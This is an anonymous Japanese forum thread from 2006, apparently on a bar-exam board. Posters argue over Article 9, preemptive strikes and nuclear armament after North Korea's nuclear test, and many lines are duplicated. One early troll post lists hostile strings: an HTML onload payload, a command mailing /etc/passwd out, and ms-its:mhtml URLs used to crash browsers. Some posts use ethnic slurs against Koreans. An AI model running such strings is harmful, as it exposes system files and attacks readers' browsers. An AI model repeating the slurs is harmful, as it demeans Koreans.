核問題と司法試験
日本と世界の安全保障について語ろう
|
|
|
今年口述受けるんだけど、
７年ぶりに東京行って核でも破裂したらやってられん。
７年ぶりに東京行って核でも破裂したらやってられん。
東京が最も危険ということは間違いないだろうね
隣国の攻撃を察知し、核による壊滅的打撃を避けるために
日本国から先制攻撃を仕掛けることの憲法上の問題点を論ぜよ。
隣国の核攻撃能力が目標に到達すること正確にして破壊力甚大の場合と
途中でミサイルが墜落してしまうことも十分に予測できるような技術力である場合にわけて検討せよ。
なお、隣国による攻撃を察知したことの正確性は、客観的にみて十分な根拠があったものとする。
日本国から先制攻撃を仕掛けることの憲法上の問題点を論ぜよ。
隣国の核攻撃能力が目標に到達すること正確にして破壊力甚大の場合と
途中でミサイルが墜落してしまうことも十分に予測できるような技術力である場合にわけて検討せよ。
なお、隣国による攻撃を察知したことの正確性は、客観的にみて十分な根拠があったものとする。
>>4
一発だけなら誤射かも知れない
一発だけなら誤射かも知れない
>>4
統治行為につき裁判所は審査しない。
統治行為につき裁判所は審査しない。
上ー上、<body onload=window()>
上の下、cat /etc/passwd | mail [email protected]
中の上、ms-its:mhtml:file://c:#ms-its:mhtml:file://c:
中の下、$ﾊ/d-gｧ28:ju/こms-its:mhtml:file://c:\ぇ.exe
下の上、$ﾊ/d-gｧ28:ju/こms-its:mhtml:file://c:\ぇ.exe
下の下、$ﾊ/d-gｧ28:ju/こms-its:mhtml:file://c:\ぇ.exe
上の下、cat /etc/passwd | mail [email protected]
中の上、ms-its:mhtml:file://c:#ms-its:mhtml:file://c:
中の下、$ﾊ/d-gｧ28:ju/こms-its:mhtml:file://c:\ぇ.exe
下の上、$ﾊ/d-gｧ28:ju/こms-its:mhtml:file://c:\ぇ.exe
下の下、$ﾊ/d-gｧ28:ju/こms-its:mhtml:file://c:\ぇ.exe
>>7
氏ねじゃなくて死ね
氏ねじゃなくて死ね
憲法9条のせいで北まで届くミサイルがないので、日本は北の基地を爆撃できません。
したがって、北が核ミサイルを撃ってきても反撃はできません。
よって、北がすべての核ミサイルを撃ち尽くすまで日本は座して死を待つしか
ないのです。
今こそ憲法9条を改正して国防軍の保持を実現しましょう。
したがって、北が核ミサイルを撃ってきても反撃はできません。
よって、北がすべての核ミサイルを撃ち尽くすまで日本は座して死を待つしか
ないのです。
今こそ憲法9条を改正して国防軍の保持を実現しましょう。
核を脅しに使うなら、東京や大阪ではなく、日本海とかで爆発させる
のでは？
東京とかに使ってしまったら、日本から何も援助を引き出せなくなる
のでは？
東京とかに使ってしまったら、日本から何も援助を引き出せなくなる
憲法９条改正反対！
援助なんか求めてないよ。
屈服を求めているだけ。
基地外独裁国に理屈なんかないということを理解すべきだ。
屈服を求めているだけ。
基地外独裁国に理屈なんかないということを理解すべきだ。
強硬論で押しまくれば争いが解決すると思ってる人ってナイーブすぎるよ
ばかだなおまいら。
東京では皇居の地下にモビルスーツが隠してあってだな。
いざというときにラクス様がストライクフリーダムをキラに使わせるんだよｗ
そして核ミサイルは全弾撃墜。
憲法上も国際法上も、何の問題なく自衛権が行使できるんだよ。
東京では皇居の地下にモビルスーツが隠してあってだな。
いざというときにラクス様がストライクフリーダムをキラに使わせるんだよｗ
そして核ミサイルは全弾撃墜。
憲法上も国際法上も、何の問題なく自衛権が行使できるんだよ。
憲 法 の た め に 死 ね ま す か ？
そ れ と も 、
生 き る た め に 憲 法 変 え ま す か ？
スレ立て規制強化賛成！
ここ２，３日板違いスレばかり立つ
ここ２，３日板違いスレばかり立つ
7
ウィルスか。最近多いなウイルス針
ウィルスか。最近多いなウイルス針
憲法を変えることで北朝鮮の核兵器が消えてなくなると思ってるの？（笑）
私は、平和を愛する近隣諸国の人民の公正と信義を信頼している。
>アメリカ人の脳みそはお花畑かよWW
北朝鮮政策に関してはお花畑じゃんか。
だからチョンがのさばってんだろが。
現実を直視しろボケ。
おまえらがどうわめこうが憲法改正しようがしなかろうが
ミサイルの撃墜を真剣に考えてない段階で自衛とかありえないんだよ。
北朝鮮政策に関してはお花畑じゃんか。
だからチョンがのさばってんだろが。
現実を直視しろボケ。
おまえらがどうわめこうが憲法改正しようがしなかろうが
ミサイルの撃墜を真剣に考えてない段階で自衛とかありえないんだよ。
板違い 司法試験に関係ありません。
憲法さえいじれば平和が来ると思ってるおめでたいヤツがいるな・・・
何でも○○と司法試験ってスレタイつければ司法試験板に立てて良いと思っている基地外は氏ね
憲法の勉強をしていない厨房がいますね
>>28
そんならおまえが北の基地でも破壊してこいボケ
そんならおまえが北の基地でも破壊してこいボケ
>>31
憲法に改正条項があることも知らない厨房がいるようだな。
憲法に改正条項があることも知らない厨房がいるようだな。
平和が一番いい。
ニュー速でやれよ
そもそもイラクを先制攻撃したアメリカですら軍事行動起こしてないのに
日本がどうこう言っても無意味だろ？
憲法改正とかいうレベルの話じゃない
日本がどうこう言っても無意味だろ？
憲法改正とかいうレベルの話じゃない
右よりの人ってばか？
勝手にチョンと戦って、死んで靖国にでも行けばー？
その際、他人を巻き込むなよｗ
その際、他人を巻き込むなよｗ
軍事力だけでは平和な世の中は実現できないよ。
何十年前の議論してるんだよ
司法試験と関係ないだろ
司法試験と関係ないだろ
社会主義国だろうが自由主義国だろうが善意じゃないし
日本政府だって善意じゃない
ましてやキムジョンイルは善意じゃない
しかし憲法改正なんかほざくバカも絶対に善意じゃない
日本政府だって善意じゃない
ましてやキムジョンイルは善意じゃない
しかし憲法改正なんかほざくバカも絶対に善意じゃない
第二次世界大戦の経験をふまえて
日本は二度と戦争をしない国になったんだろ。
そんなことも知らない厨房はもう一度
歴史の勉強をやりなおせよ。
日本は二度と戦争をしない国になったんだろ。
そんなことも知らない厨房はもう一度
歴史の勉強をやりなおせよ。
こういうのって江畑謙介や小川和久が考えるべきことであって
憲法なんて関係ないし糞の役にも立たないことを忘れてるよな・・・
憲法なんて関係ないし糞の役にも立たないことを忘れてるよな・・・
>脅しと屈服の関係になってしまう。
憲法上、自衛権の行使ができるんだが。
もういちど教科書から勉強してこい。
憲法上、自衛権の行使ができるんだが。
もういちど教科書から勉強してこい。
>>47
本気で書いているんじゃないよね？
第2次大戦には何十もの国が関わったが、他の国は今でも軍備を持っている。
それに、戦争をしない国になったって、では北朝鮮が打ち込んできた原爆ミサイルを
迎撃するのは戦争ではないのか？
本気で書いているんじゃないよね？
第2次大戦には何十もの国が関わったが、他の国は今でも軍備を持っている。
それに、戦争をしない国になったって、では北朝鮮が打ち込んできた原爆ミサイルを
迎撃するのは戦争ではないのか？
憲法は大事ですよ。
国家権力の暴走に歯止めをかけることがその使命なのだから。
国家権力の暴走に歯止めをかけることがその使命なのだから。
核をノドンに搭載できるようになるまでの間に叩かないとまずい
搭載技術ができたら、海にでも打ち込んでくるだろ。
そうなったら、脅しに屈するしかなくなるかもしれない
搭載技術ができたら、海にでも打ち込んでくるだろ。
そうなったら、脅しに屈するしかなくなるかもしれない
>>52
少なくとも国民の生命を守るのに十分な軍事力はない。
少なくとも国民の生命を守るのに十分な軍事力はない。
憲法改正する前に
現行憲法でできることを考えるのがまともな政府のすることだ。
それ故日米安保もありＭＤも開発してる。国連の強制措置も依頼してるし
集団的自衛権だって行使できないか検討してる。
改憲しなきゃなんもできんって考えてるバカは死んだ方がいい。
現行憲法でできることを考えるのがまともな政府のすることだ。
それ故日米安保もありＭＤも開発してる。国連の強制措置も依頼してるし
集団的自衛権だって行使できないか検討してる。
改憲しなきゃなんもできんって考えてるバカは死んだ方がいい。
ナチスに甘い態度をとっていて第二次大戦の悲劇を招いたことを想起すべきだな。
アメリカみたいに世界一の軍事力をもってしても思い通りにならないんだよ。
国際社会はそんなに甘くはない。
国際社会はそんなに甘くはない。
最近、右よりのひとが増えてきているみたいだが、このスレに書きこんでる憲法改正論者は、ずいぶん知恵が足らないみたいですねｗ
>敵基地攻撃能力は憲法のせいで持てない。
米軍が持ってるから共同行使すればいいだけ。
憲法とは関係ない。
米軍が持ってるから共同行使すればいいだけ。
憲法とは関係ない。
>>59
思い通りにする必要はないよ。
攻撃されなければそれでいいんだ。
>>60
左翼系の市民が解釈の変更には反対している。
条文を素直に読むと自衛用兵器すら持てないような憲法だから、
どうしても左翼系に譲歩を余儀なくされる。
思い通りにする必要はないよ。
攻撃されなければそれでいいんだ。
>>60
左翼系の市民が解釈の変更には反対している。
条文を素直に読むと自衛用兵器すら持てないような憲法だから、
どうしても左翼系に譲歩を余儀なくされる。
米軍ですら軍事オプション発動してないのに
いきりたったバカが湧いてますねｗ
憲法よりも先に国際政治のおべんきょーしましょーねｗｗｗ
いきりたったバカが湧いてますねｗ
憲法よりも先に国際政治のおべんきょーしましょーねｗｗｗ
>>65
同意
同意
昔は左翼のほうが非現実的だと言われていたが
今の右翼も憲法改正すればどうにでもなると思っているみたいで
かなり非現実的思考しているよね（爆）
今の右翼も憲法改正すればどうにでもなると思っているみたいで
かなり非現実的思考しているよね（爆）
つまり、アメリカは備えをしているんだよ。
日本は備えをしていない。
そこが違い。
備えをした後実際に使うかは別の問題。
日本は備えをしていない。
そこが違い。
備えをした後実際に使うかは別の問題。
改憲とかいってるバカは
アメリカが日本と韓国の核武装を怖れていることに目をつぶってるだけなんだよな・・・
アメリカが日本と韓国の核武装を怖れていることに目をつぶってるだけなんだよな・・・
やはり日本は中国と良好な関係を保ち
連携して北朝鮮に向き合わないといけないよね
連携して北朝鮮に向き合わないといけないよね
>>73
現行憲法で非武装無抵抗なんて、それはおまえの勘違いだろ。
現行憲法で非武装無抵抗なんて、それはおまえの勘違いだろ。
アメリカに嫌われないよう
アメリカと一緒に行動する
その際に現行憲法は邪魔にならない。
それなのに改憲すべきとかいってるやつはただの厨房。
アメリカと一緒に行動する
その際に現行憲法は邪魔にならない。
それなのに改憲すべきとかいってるやつはただの厨房。
>>78
現行憲法でも自衛隊という「武装」があるのにねｗ
現行憲法でも自衛隊という「武装」があるのにねｗ
>>82
ミサイル防衛には役に立たない武装が、ねww
ミサイル防衛には役に立たない武装が、ねww
88 ：氏名黙秘：2006/10/10(火) 13:58:55 ID:6XVWj9ad
偵察衛星も打ち上げたしＭＤもやってるし日米同盟もあるし
できることはいろいろやってる。
日本政府のやることにいちいち文句言うのはチョンかバカウヨかブサヨ。
できることはいろいろやってる。
日本政府のやることにいちいち文句言うのはチョンかバカウヨかブサヨ。
航空攻撃には基地を叩くしかない。
これは第2次大戦のころから言われてきたこと。
ましてや運搬手段（航空機・ミサイル）が高速化した現代では
迎撃が難しいので、なおさらだ。
先制攻撃をするかどうかはともかく、一発目を撃たれたらやられっぱなしにならないように
基地を叩く能力は保有する必要がある。
通常弾頭でもかまわない。
日本の技術は高いから、命中させられる。
これは第2次大戦のころから言われてきたこと。
ましてや運搬手段（航空機・ミサイル）が高速化した現代では
迎撃が難しいので、なおさらだ。
先制攻撃をするかどうかはともかく、一発目を撃たれたらやられっぱなしにならないように
基地を叩く能力は保有する必要がある。
通常弾頭でもかまわない。
日本の技術は高いから、命中させられる。
軍国化には反対の俺でも、情報収集機能の強化には賛成だな。
中国ロシアアメリカ。この３カ国を味方に付けた上でなければ
日本は身動きとれない。それが現実。
そういう条件がないのに改憲だの軍拡だのしても
税金の無駄。
まずは国際情勢を味方に付けることから本気でやるべきだ。
日本は身動きとれない。それが現実。
そういう条件がないのに改憲だの軍拡だのしても
税金の無駄。
まずは国際情勢を味方に付けることから本気でやるべきだ。
敵基地攻撃能力ってさー
ＧＰＳデータがない限り実用化できないんだよねー
だったら日本は自主開発無理じゃんｗ
ＧＰＳデータがない限り実用化できないんだよねー
だったら日本は自主開発無理じゃんｗ
>>93
それはもちろん必要だが、軍事も外交も同時並行でやるべきだよ。
日本としては抑止力を持てばいい。
何も北の体制を転覆する必要はない。
北の指導部に日本を攻撃すれば自分たちも痛い目にあうと思わせれば十分。
そして、それは核兵器でなく、命中精度の高い通常弾頭ミサイルの保有でも達成できる。
（核を持つことは日本も制裁対象になるので、やめたほうがよい）
それはもちろん必要だが、軍事も外交も同時並行でやるべきだよ。
日本としては抑止力を持てばいい。
何も北の体制を転覆する必要はない。
北の指導部に日本を攻撃すれば自分たちも痛い目にあうと思わせれば十分。
そして、それは核兵器でなく、命中精度の高い通常弾頭ミサイルの保有でも達成できる。
（核を持つことは日本も制裁対象になるので、やめたほうがよい）
>>94
独自の人工衛星を使って航法システムを構築すればO.k.だろ。
独自の人工衛星を使って航法システムを構築すればO.k.だろ。
>>96
自主開発が米軍にバレたら怒られるかもなー
自主開発が米軍にバレたら怒られるかもなー
偵察衛星をもっとたくさん運用すればいいじゃん
俺が死ぬ５０年後までの間、
戦争が一度もないといえるだろうか
戦争が一度もないといえるだろうか
朝鮮半島での軍事行動には反対だな
日本にも火の粉が降りかかるからね
日本にも火の粉が降りかかるからね
ちょっとした小型旅客機に
改良した地理データと爆弾を積んで
無人航行させる。
これでＯＫ？
だとしたら改憲は全く必要ないよな・・・・
やっぱウヨのいうことはリアリティがない。
改良した地理データと爆弾を積んで
無人航行させる。
これでＯＫ？
だとしたら改憲は全く必要ないよな・・・・
やっぱウヨのいうことはリアリティがない。
今後は無人機の時代だろうしな
>>102
アホか。
そんなもの、撃墜されるだけだろ。まともなミサイルじゃないと駄目だ。
これだから糞サヨは・・
それに、改憲派は自由主義者であってウヨではない。
アメリカとともに自由を守る責任を果たすためには軍備が必要なんだよ。
それを主張しているだけ。
アホか。
そんなもの、撃墜されるだけだろ。まともなミサイルじゃないと駄目だ。
これだから糞サヨは・・
それに、改憲派は自由主義者であってウヨではない。
アメリカとともに自由を守る責任を果たすためには軍備が必要なんだよ。
それを主張しているだけ。
交渉の前提には軍事力があることもわかってない馬鹿が多すぎる。
これも9条の弊害か・・
これも9条の弊害か・・
今でも自衛隊という軍事力があるじゃん。
憲法９条を改正してまで何がしたいのかわからん。
また軍国主義にしたいのか？
憲法９条を改正してまで何がしたいのかわからん。
また軍国主義にしたいのか？
>>106
ほら、いまだにこんな馬鹿みたいなこというやつがいる。
自衛隊は日本にミサイルを撃ち込んでくる社会主義国の基地を攻撃できない。
だから弾道ミサイルには無力。
弾道ミサイルの脅威から国民を守る力を持つことが軍国主義か？
だとするとアメリカも中国も軍国主義だな。
日教組に洗脳されているとどうしようもないな。
お前の家に原爆ミサイルが落ちるまでわからないんだろうな。
ほら、いまだにこんな馬鹿みたいなこというやつがいる。
自衛隊は日本にミサイルを撃ち込んでくる社会主義国の基地を攻撃できない。
だから弾道ミサイルには無力。
弾道ミサイルの脅威から国民を守る力を持つことが軍国主義か？
だとするとアメリカも中国も軍国主義だな。
日教組に洗脳されているとどうしようもないな。
お前の家に原爆ミサイルが落ちるまでわからないんだろうな。
自衛隊は特に装備の面で普通の軍隊と比べて足かせが多すぎるんだよ。
だからまともに国民を守れない。
だからまともに国民を守れない。
いまの自衛隊でいいじゃん
勝手に軍事行動されると困る
勝手に軍事行動されると困る
>>109
アメリカに憲法9条に相当する条文はないが、軍部が勝手に軍事行動をするのか？
アメリカに憲法9条に相当する条文はないが、軍部が勝手に軍事行動をするのか？
以後は、ν即でやってください。
・・・・・・・・・・・・・・・・・・・・・・・・・・終了・・・・・・・・・・・・・・・・・・・・・・・・・・・・
http://japanese.joins.com/article/article.php?aid=77843&servcode=500§code=500
韓国の戦闘機は爆撃能力がある。
日本の戦闘機はない。
これは憲法9条の影響だろ？
韓国の戦闘機は爆撃能力がある。
日本の戦闘機はない。
これは憲法9条の影響だろ？
自衛隊の支援戦闘機は
よその国ではいわゆる戦闘爆撃機ですが。
よその国ではいわゆる戦闘爆撃機ですが。
司法試験と何が関係あるんだ？
>>116
確かに。
確かに。
あほくさ。
核ミサイルに唯一対抗できるのは核ミサイルだけだ。
おまいらの大好きな核問題における基本中の基本だろ？
核には核でしか対抗できない。
本気で対抗策を考えるということは
日本の核武装である。
これがマジで許されると思ってる馬鹿は、アメ公に殺されてもしかたないんだよな。
まぁ、ＭＤで対抗するか敵基地攻撃で対抗するか、こういうのが可能だというならば
もはや核の時代は終わりだということだけど、それはネラーもＶＩＰＰＥＲも
望んでないよな？
核ミサイルに唯一対抗できるのは核ミサイルだけだ。
おまいらの大好きな核問題における基本中の基本だろ？
核には核でしか対抗できない。
本気で対抗策を考えるということは
日本の核武装である。
これがマジで許されると思ってる馬鹿は、アメ公に殺されてもしかたないんだよな。
まぁ、ＭＤで対抗するか敵基地攻撃で対抗するか、こういうのが可能だというならば
もはや核の時代は終わりだということだけど、それはネラーもＶＩＰＰＥＲも
望んでないよな？
核武装なんて絶対反対です
韓国と台湾と日本が雪崩を打って核武装することを米国は危惧しているんだよな・・・
北朝鮮が核兵器開発やミサイル発射なんてしなければ
日本の世論が憲法改正に賛成の側に傾くことなかったのに。
日本の世論が憲法改正に賛成の側に傾くことなかったのに。
アメリカは韓国から撤退しても、朝鮮半島が北を中心に統一されることは望んでません。
同様に、日本が韓半島に支配されることも望んでいません。
よって、アメリカが日本を見殺しにすることは
アメリカの打算から考えて絶対にありません。
それは「日本を助けてくれる」のではなく「日本をチョンどもの好きにはさせん！」ってことです。
勘違いしないように。
同様に、日本が韓半島に支配されることも望んでいません。
よって、アメリカが日本を見殺しにすることは
アメリカの打算から考えて絶対にありません。
それは「日本を助けてくれる」のではなく「日本をチョンどもの好きにはさせん！」ってことです。
勘違いしないように。
アメリカは日本の核武装を許しませんｗ
日本が核武装したら空爆しますよｗ
日本が核武装したら空爆しますよｗ
日本が核武装なんてするわけねーじゃん
核武装しない日本はアメリカに助けてもらうしかありませんなｗ
北の実験はどうも早期爆発と言われる失敗だったようだぞ。
敵地攻撃能力は現在の政府解釈では持てないというところなんだろ。
だから自衛隊の装備もF-15Jみたいな邀撃専用になってんじゃねえの？
解釈改憲しろってのはどういうつもりで言ってんのかね？
政府がどこまでも解釈で改憲できるとするなら、憲法なんざあっても意味ねえってことに
なりかねんよ。
国家を縛る憲法は国民が変えなきゃいかん。それが民主的ルールってもんだ。
つまり正式に改憲すべきなんだよ。
敵地攻撃能力は現在の政府解釈では持てないというところなんだろ。
だから自衛隊の装備もF-15Jみたいな邀撃専用になってんじゃねえの？
解釈改憲しろってのはどういうつもりで言ってんのかね？
政府がどこまでも解釈で改憲できるとするなら、憲法なんざあっても意味ねえってことに
なりかねんよ。
国家を縛る憲法は国民が変えなきゃいかん。それが民主的ルールってもんだ。
つまり正式に改憲すべきなんだよ。
敵基地攻撃能力をもっても
交戦権のない日本がそういう行為できるわけねーじゃん
交戦権のない日本がそういう行為できるわけねーじゃん
アメリカは去年、北朝鮮全面爆撃の構えを見せたことはあったらしい。
アメリカの基本的スタンスとして、全面爆撃の後は放置するつもりのようだ。
韓国主導で統一されてもいいし、中国が新たな政権を打ち立てるのでもいい
っていうつもりなんだろうな。
今回の実験強行を受けて、再び全面爆撃のオプションが浮上するかもしれんな。
アメリカの基本的スタンスとして、全面爆撃の後は放置するつもりのようだ。
韓国主導で統一されてもいいし、中国が新たな政権を打ち立てるのでもいい
っていうつもりなんだろうな。
今回の実験強行を受けて、再び全面爆撃のオプションが浮上するかもしれんな。
これはだめかもわからんね
>政府がどこまでも解釈で改憲できるとするなら、憲法なんざあっても意味ねえってことに
>なりかねんよ。
おいおいｗ
ＷＭＤみつからなかった国際法違反のイラク戦争に荷担するなど、解釈改憲しまくってんだから
いまさらそんなことゆーなよｗ
>なりかねんよ。
おいおいｗ
ＷＭＤみつからなかった国際法違反のイラク戦争に荷担するなど、解釈改憲しまくってんだから
いまさらそんなことゆーなよｗ
ここはひとつ、憲法の本来の趣旨に立ち返って、現状の誤った解釈・運用を見直しましょう。
そりゃ論外だわ。
>>135
改憲ついでに、自民党にも今までの悪行の責任をとってもらわないとなｗ
改憲ついでに、自民党にも今までの悪行の責任をとってもらわないとなｗ
いまだに9条信者っているんだな。
諸外国で同じ条文を憲法に盛り込もうと主張したら極左って言われるよ。
あるいは空想的理想主義者か。
改正に関しては少なくとも侵略戦争は駄目だが自衛戦争はいいという改正なら
諸外国にあわせるだけ。それで右翼なら日本以外ほとんどみんな右翼だ。
諸外国で同じ条文を憲法に盛り込もうと主張したら極左って言われるよ。
あるいは空想的理想主義者か。
改正に関しては少なくとも侵略戦争は駄目だが自衛戦争はいいという改正なら
諸外国にあわせるだけ。それで右翼なら日本以外ほとんどみんな右翼だ。
>>140
いや、基地攻撃能力を自衛隊に持たせていない。
できるだけのことをしているとはいえない。
自民党内にも解釈改憲ももう限界だという意見があるからだ。
お前みたいな占領期の特殊な基本法にいつまでもしがみついているやつこそ
うざい。
いや、基地攻撃能力を自衛隊に持たせていない。
できるだけのことをしているとはいえない。
自民党内にも解釈改憲ももう限界だという意見があるからだ。
お前みたいな占領期の特殊な基本法にいつまでもしがみついているやつこそ
うざい。
たぶんあと20年もしたら日本核武装の話はかなり現実味を帯びてるんじゃないかと思う。
もちろん，日米中韓が歩調をあわせて東アジアの平和を確保できていれば別だけど。
で，憲法9条は核武装を禁止していないと読むことは一応可能。
もちろん，日米中韓が歩調をあわせて東アジアの平和を確保できていれば別だけど。
で，憲法9条は核武装を禁止していないと読むことは一応可能。
核武装までする必要あるの？
通常兵器でも命中精度が高ければ抑止力になるのに。
通常兵器でも命中精度が高ければ抑止力になるのに。
>>140
だからそれが無理に無理を重ねた解釈改憲だろが。
自民党政府は確かにやむをえずに解釈でしのいでやれることはやってきたが、
それにも限度ってもんがある。
このままじゃ憲法と現実の齟齬が大きくなるばかりだ。
国民が改憲しろって言ってるんだから改憲して現状にあわせりゃいいだろうがよ。
憲法が済し崩しに解釈でいいようにされてる状態は望ましいものじゃない。
肝心なのは人権保障と民主主義からなる立憲主義だ。
だからそれが無理に無理を重ねた解釈改憲だろが。
自民党政府は確かにやむをえずに解釈でしのいでやれることはやってきたが、
それにも限度ってもんがある。
このままじゃ憲法と現実の齟齬が大きくなるばかりだ。
国民が改憲しろって言ってるんだから改憲して現状にあわせりゃいいだろうがよ。
憲法が済し崩しに解釈でいいようにされてる状態は望ましいものじゃない。
肝心なのは人権保障と民主主義からなる立憲主義だ。
>>144
そのとおり。
やはり軍事力を否定しての安全保障は現状では無理がある。
前文の理念と世界の現実に乖離が大きすぎるんだよ。
国民がそのことに気が付いたから改憲派が増えてきただけ。
少なくとも9条に限っても拮抗している現在、改正の主張＝右翼
というパターンはもう通じない。
平和主義には国民のほとんどは賛成だが、軍備の否定を原則にすることには
もはや多くは疑問を抱いている。改憲は右翼のイデオロギーではなく、
国際社会の現実に対応した課題だよ。
もちろん今度の問題も平和裏に解決できるのが一番いいことはいうまではないが。
そのとおり。
やはり軍事力を否定しての安全保障は現状では無理がある。
前文の理念と世界の現実に乖離が大きすぎるんだよ。
国民がそのことに気が付いたから改憲派が増えてきただけ。
少なくとも9条に限っても拮抗している現在、改正の主張＝右翼
というパターンはもう通じない。
平和主義には国民のほとんどは賛成だが、軍備の否定を原則にすることには
もはや多くは疑問を抱いている。改憲は右翼のイデオロギーではなく、
国際社会の現実に対応した課題だよ。
もちろん今度の問題も平和裏に解決できるのが一番いいことはいうまではないが。
「憲法改正」は、１５年くらい前の「政治改革」なんかと似ていると感じるな。
あまり観念的な話に政治のリソースを投入すると碌なことがない。
あまり観念的な話に政治のリソースを投入すると碌なことがない。
憲法改正なんて必要がないってことか
>> 145
同意。まぁ何千年後かに万が一人類が人種問題も宗教問題も解消した後なら九条もいいだろうな。そんな日が人類滅亡前にくればの話だが。
同意。まぁ何千年後かに万が一人類が人種問題も宗教問題も解消した後なら九条もいいだろうな。そんな日が人類滅亡前にくればの話だが。
改憲も軍備増強も核兵器の前に無力なのになｗ
核兵器に唯一対抗できるのは核兵器だっていう基本的な知識もないヤツが
憲法を語るなよｗ
それとも藻米等、改憲して核武装でもすんのか？え？
核兵器に唯一対抗できるのは核兵器だっていう基本的な知識もないヤツが
憲法を語るなよｗ
それとも藻米等、改憲して核武装でもすんのか？え？
そうだよ
今どき軍事力かよ（笑）
ネット右翼は空想的ですな
ネット右翼は空想的ですな
>安倍新首相は、官房長官を務めていた2002年5月にある講演で「核兵器を持つことは日本憲法上、何ら問題ない。決心すれば1週間以内に核兵器を持つことができる」と語っている。
ttp://japanese.chosun.com/site/data/html_dir/2006/10/05/20061005000008.html
兵器の種類について憲法はニュートラルだろ？
安倍総理ですら改憲必要ないって言ってんのに・・・
改憲厨は何がしたいんだ？
改憲厨は何がしたいんだ？
めくらめっぽう核ノドンもアメリカやロシアのように数千発打てるなら無敵だろうが、爆発力だけなら核爆弾とたいして変わらない通常兵器もある現在では、核如何でなく精密誘導兵器如何のが重要なこともある。
結局、核だか軍事力だかは
適切に使えてこそ役に立つ。
いまの日本の対北朝鮮外交政策や防衛政策を見れば
まずは情勢認識と軍事技術の改良・実戦使用できる訓練こそ急務であって
憲法や制度を弄ることが急務なのではない。
適切に使えてこそ役に立つ。
いまの日本の対北朝鮮外交政策や防衛政策を見れば
まずは情勢認識と軍事技術の改良・実戦使用できる訓練こそ急務であって
憲法や制度を弄ることが急務なのではない。
今の自衛隊だと臨検をする際の武器の使用すら制限されている。
こんな「軍隊」に核兵器とかお笑いだよｗ
こんな「軍隊」に核兵器とかお笑いだよｗ
核兵器保有が実現したら
そもそも臨検だの敵基地攻撃だのは不要。
自衛隊の制度改革なくして実質的な自衛軍の創設が可能。
つまり憲法改正よりも核保有の議論及び国民投票の方がよほど重要になる。
まぁ、国民感情からして核保有は無理だろうけどな。
そもそも臨検だの敵基地攻撃だのは不要。
自衛隊の制度改革なくして実質的な自衛軍の創設が可能。
つまり憲法改正よりも核保有の議論及び国民投票の方がよほど重要になる。
まぁ、国民感情からして核保有は無理だろうけどな。
ま、所詮法律なんて核一発の力の前には無力、判例の立場とか説得力が
どうたらお笑いだ。事実は論理を超える、歴史や政治になんの影響力も
持たないスケールの小さい仕事だよな法曹って。
どうたらお笑いだ。事実は論理を超える、歴史や政治になんの影響力も
持たないスケールの小さい仕事だよな法曹って。
法律の議論は足枷の議論になるのは必然。
それがいやなら改憲など法律系の板で喚くのではなく
完全自由でルール無用の政治学の板に身を投じるべき。
すくなくとも司法試験板では
現行憲法体制と、ＮＰＴなどの国際法体制を尊重する前提を崩してはならない。
それがいやなら改憲など法律系の板で喚くのではなく
完全自由でルール無用の政治学の板に身を投じるべき。
すくなくとも司法試験板では
現行憲法体制と、ＮＰＴなどの国際法体制を尊重する前提を崩してはならない。
やれやれ、ν速の基地外どもがくるとこれだから・・・
そもそもの話、現行憲法自体が無効でしょ。
>>161
法律とか司法とかの基礎ができてないやつがいっぱいいるのがわかるなｗ
法律とか司法とかの基礎ができてないやつがいっぱいいるのがわかるなｗ
宮澤俊義東大教授の１９４６年１０月１日の発言
「憲法全体が自発的に出来ているものではない。
重大なことを失った後でここで頑張ったところで、
そう得るところはなく、多少とも自主性をもってやった
という自己欺瞞にすぎない」
「憲法全体が自発的に出来ているものではない。
重大なことを失った後でここで頑張ったところで、
そう得るところはなく、多少とも自主性をもってやった
という自己欺瞞にすぎない」
>>165
何を説明したいのかまったくもって意味不明だが、
そもそも1946年の発言を引用している時点で学力不足。
すくなくとも日本国憲法の中にも憲法習律は存在するし、憲法学界の多くは
日本国憲法の無効化を学説上支持していない。ましてや判例も憲法は有効だと考えている。
そんな条件のなかで５０年前の宮沢発言に意味など全くない。
何を説明したいのかまったくもって意味不明だが、
そもそも1946年の発言を引用している時点で学力不足。
すくなくとも日本国憲法の中にも憲法習律は存在するし、憲法学界の多くは
日本国憲法の無効化を学説上支持していない。ましてや判例も憲法は有効だと考えている。
そんな条件のなかで５０年前の宮沢発言に意味など全くない。
167 ：氏名黙秘：2006/10/11(水) 15:46:08 ID:WZ5pmfMw
北朝鮮の核実験は日本国憲法とどういう関係があるのか教えてくれ
ｋ
てかさ、ずっと前から思ってたんだけど
今の憲法の正当性の根源って何なの？ま、革命法のそれと言ってもいいけど
国民が支持してるから？６０年前にしたから？そんなのどうやって証明できんの？
国会が作ったというのは無理があるだろ？憲法が先の問題だし。
ＧＨＱが作ったこと？占領機関が勝手に作って押し付けただけなのに？
占領と言う特殊な状況の下云々？抽象的すぎて分からない。結局正当性は無いの？
今の憲法の正当性の根源って何なの？ま、革命法のそれと言ってもいいけど
国民が支持してるから？６０年前にしたから？そんなのどうやって証明できんの？
国会が作ったというのは無理があるだろ？憲法が先の問題だし。
ＧＨＱが作ったこと？占領機関が勝手に作って押し付けただけなのに？
占領と言う特殊な状況の下云々？抽象的すぎて分からない。結局正当性は無いの？
>>169
明治憲法からの改正によっても、根本規範の変更はできない。そして、
天皇主権の明治憲法と、国民主権の日本国憲法には、根本規範の変更があるから、
憲法改正の限界を超え、両者の間に実質的な法的連続性を認めることはできない。
そして、
ポツダム宣言の受諾により、憲法制定権力は天皇から国民に移動し、この国民の
憲法制定権力の発動により、日本国憲法は制定されたものであると解するほかはなく、
日本国憲法の上諭は、このような日本国憲法の成立手続の特殊性を示す（８月革命説）。
つまり、明治憲法との連続性はなく現行憲法として有効（司法試験上の通説）。
参照：『成川式択一六法２００５年版憲法編』 ４頁。
明治憲法からの改正によっても、根本規範の変更はできない。そして、
天皇主権の明治憲法と、国民主権の日本国憲法には、根本規範の変更があるから、
憲法改正の限界を超え、両者の間に実質的な法的連続性を認めることはできない。
そして、
ポツダム宣言の受諾により、憲法制定権力は天皇から国民に移動し、この国民の
憲法制定権力の発動により、日本国憲法は制定されたものであると解するほかはなく、
日本国憲法の上諭は、このような日本国憲法の成立手続の特殊性を示す（８月革命説）。
つまり、明治憲法との連続性はなく現行憲法として有効（司法試験上の通説）。
参照：『成川式択一六法２００５年版憲法編』 ４頁。
>>174
Ｇって何だよ？
Ｇって何だよ？
ゴルゴ１３じゃねえのか？
キムが死んでも核問題はなくならないのになｗ
178 ：氏名黙秘：2006/10/12(木) 13:21:22 ID:XxMxFXGe
安保理決議と国内法が競合した場合
どっちが優越するの？
どっちが優越するの？
